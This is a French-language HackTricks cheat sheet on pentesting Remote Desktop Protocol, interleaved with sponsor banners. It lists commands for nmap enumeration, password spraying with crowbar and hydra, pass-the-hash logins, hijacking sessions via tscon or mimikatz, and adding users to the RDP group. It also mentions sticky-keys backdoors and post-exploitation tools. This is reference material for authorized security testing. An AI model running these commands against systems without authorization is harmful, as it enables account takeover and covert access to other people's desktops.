# 3389 - Pentesting RDP
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et le pentesting**. Réalisez un pentest complet depuis n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur redonner du temps afin d'approfondir, de pop des shells et de s'amuser.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Informations de base
Développé par Microsoft, le **Remote Desktop Protocol** (**RDP**) est conçu pour permettre une connexion d'interface graphique entre des ordinateurs sur un réseau. Pour établir une telle connexion, un logiciel client **RDP** est utilisé par l'utilisateur, et simultanément, l'ordinateur distant doit faire fonctionner un logiciel serveur **RDP**. Cette configuration permet le contrôle et l'accès sans faille à l'environnement de bureau d'un ordinateur distant, amenant essentiellement son interface sur l'appareil local de l'utilisateur.
**Port par défaut :** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## Énumération
### Automatique
{% code overflow="wrap" %}
```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4
```
{% endcode %}
Il vérifie le chiffrement disponible et la vulnérabilité DoS (sans causer de DoS au service) et obtient des informations NTLM Windows (versions).
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rdp)
**Faites attention, vous pourriez verrouiller des comptes**
### **Password Spraying**
**Faites attention, vous pourriez verrouiller des comptes**
```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### Se connecter avec des identifiants/hash connus
```bash
rdesktop -u
rdesktop -d -u -p
xfreerdp [/d:domain] /u: /p: /v:
xfreerdp [/d:domain] /u: /pth: /v: #Pass the hash
```
### Vérifiez les identifiants connus contre les services RDP
rdp\_check.py d'impacket vous permet de vérifier si certains identifiants sont valides pour un service RDP :
```bash
rdp_check /:@
```
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et le pentesting**. Réalisez un pentest complet depuis n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur redonner du temps pour approfondir, ouvrir des shells et s'amuser.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Attaques**
### Vol de session
Avec des **permissions SYSTEM**, vous pouvez accéder à n'importe quelle **session RDP ouverte par un utilisateur** sans avoir besoin de connaître le mot de passe du propriétaire.
**Obtenir les sessions ouvertes :**
```
query user
```
**Accès à la session sélectionnée**
```bash
tscon /dest:
```
Maintenant, vous serez à l'intérieur de la session RDP sélectionnée et vous devrez usurper un utilisateur en utilisant uniquement des outils et des fonctionnalités Windows.
**Important** : Lorsque vous accédez à une session RDP active, vous déconnecterez l'utilisateur qui l'utilisait.
Vous pourriez obtenir des mots de passe en extrayant le processus, mais cette méthode est beaucoup plus rapide et vous permet d'interagir avec les bureaux virtuels de l'utilisateur (mots de passe dans le bloc-notes sans être enregistrés sur le disque, d'autres sessions RDP ouvertes sur d'autres machines...)
#### **Mimikatz**
Vous pourriez également utiliser mimikatz pour faire cela :
```bash
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
En combinant cette technique avec **stickykeys** ou **utilman, vous pourrez accéder à un CMD administratif et à n'importe quelle session RDP à tout moment.**
Vous pouvez rechercher des RDP qui ont été backdoorés avec l'une de ces techniques déjà avec : [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Process Injection
Si quelqu'un d'un domaine différent ou avec **de meilleures privilèges se connecte via RDP** au PC où **vous êtes Admin**, vous pouvez **injecter** votre beacon dans son **processus de session RDP** et agir en son nom :
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
{% endcontent-ref %}
### Adding User to RDP group
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
## Outils Automatiques
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** est un cadre de post-exploitation créé en Powershell, conçu principalement pour automatiser l'attaque **Shadow** sur les ordinateurs Microsoft Windows. Cette vulnérabilité (répertoriée comme une fonctionnalité par Microsoft) permet à un attaquant distant de **voir le bureau de sa victime sans son consentement**, et même de le contrôler à la demande, en utilisant des outils natifs du système d'exploitation lui-même.
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Contrôler la souris et le clavier de manière automatisée depuis la ligne de commande
* Contrôler le presse-papiers de manière automatisée depuis la ligne de commande
* Créer un proxy SOCKS depuis le client qui canalise la communication réseau vers la cible via RDP
* Exécuter des commandes SHELL et PowerShell arbitraires sur la cible sans télécharger de fichiers
* Télécharger et télécharger des fichiers vers/depuis la cible même lorsque les transferts de fichiers sont désactivés sur la cible
## Commandes Automatiques HackTricks
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
**Configuration disponible instantanément pour l'évaluation des vulnérabilités et le pentesting**. Réalisez un pentest complet depuis n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur redonner du temps pour approfondir, ouvrir des shells et s'amuser.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Apprenez et pratiquez le Hacking AWS :[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Apprenez et pratiquez le Hacking GCP : [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Soutenir HackTricks
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
{% endhint %}